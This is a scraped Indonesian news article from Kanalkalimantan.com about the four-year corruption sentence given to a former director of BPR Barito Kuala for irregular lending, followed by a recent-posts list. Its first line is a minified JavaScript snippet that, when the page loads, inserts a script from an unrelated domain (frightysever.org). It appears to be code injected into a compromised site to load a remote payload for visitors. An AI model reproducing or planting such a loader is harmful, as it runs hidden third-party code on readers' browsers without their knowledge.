(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mantan Dirut BPR Batola Divonis 4 Tahun Penjara Kasus Penyelewengan Kredit


KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menjatuhkan pidana 4 tahun penjara dan denda Rp250 juta kepada Bahrani, terdakwa kasus korupsi Bank Perkreditan Rakyat (BPR) Barito Kuala (Batola).

Putusan tersebut dibacakan oleh majelis hakim yang diketuai oleh Yusriansyah SH MHum beserta dua hakim anggota Arif Winarno SH dan Feby Desru SH, Jum’at (14/6/2024) siang.

Putusan yang dijatuhkan hakim lebih ringan dari tuntutan Jaksa Penuntut Umum (JPU) Kejari Batola yang menuntut Bahrani dihukum 6 tahun penjara dan denda Rp500 juta subsidair 6 bulan kurungan.

Dalam putusan, terdakwa mantan Direktur Utama (Dirut) BPR Batola dinyatakan terbukti bersalah sebagaimana dakwaan primair JPU pasal 2 jo pasal 18 Undang-Undang Nomor 21 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP.

Baca juga: Dalang Tawuran Geng di Banjarbaru Umur 16 Tahun, Pernah Terlibat Kasus Sama

“Menjatuhkan pidana penjara empat tahun dan denda Rp250 juta, apabila denda tidak dibayar diganti dengan tiga bulan kurungan,” ucap ketua majelis hakim Yusriansyah saat membacakan amar putusan.

Selain pidana penjara dan denda, majelis hakim Pengadilan Tipikor Banjarmasin juga menghukum terdakwa Bahrani untuk membayar uang pengganti kerugian negara sebesar Rp128.000.000 dari kerugian negara sebesar Rp4.040.766.703.

Dengan ketentuan, apabila uang pengganti tersebut tidak dibayar setelah sebulan putusan inkrah, maka harta terpidana dapat disita dan dilelang untuk menutupi uang pengganti.

Kemudian kata hakim, apabila terdakwa tidak mempunyai harta benda yang cukup untuk membayar uang pengganti, maka diganti dengan 2 tahun penjara.

Baca juga: Kronologi Tawuran Geng Remaja di Banjarbaru, 21 Pelaku Ditangkap Polisi

“Menetapkan masa penahanan yang telah dijalani terdakwa dikurangkan seluruhnya dari pidana yang dijatuhkan,” kata Yusriansyah.

Usai pembacaan putusan, majelis hakim Pengadilan Tipikor Banjarmasin memberikan waktu selama 7 hari kepada terdakwa dan jaksa penuntut umum untuk pikir-pikir dalam menyatakan sikap menerima putusan atau mengambil upaya hukum banding.

Sebagai informasi, Bahrani sebelumnya duduk sebagai terdakwa di Pengadilan Tipikor Banjarmasin sebab dirinya dituduh telah menyalahgunakan jabatan dan wewenang saat menjadi direktur PT BPR Batola.

Saat masih menjabat sebagai direktur, dia disebut meloloskan syarat penyaluran kredit padahal tidak sesuai dengan prosedur. Perbuatan Bahrani tersebut menyebabkan negara rugi empat miliar rupiah.

Baca juga: Misbach Tamrin: Dalam Bayang Seni Rupa Indonesia (Prolog)

Dalam dakwaan, Bahrani didakwa primair pasal 2 ayat (1) Jo pasal 18 ayat (2), (3) Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dan ditambah dengan Undang-Undang Republik Indonesia Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo pasal 55 ayat (1) ke-1 KUHP.

Sementara subsidair dipasang Pasal 3 Jo Pasal 18 ayat (2), (3) Undang-Undang Republik Indonesia Nomor 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

15 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

16 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

16 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

17 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

21 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

21 jam ago

This website uses cookies.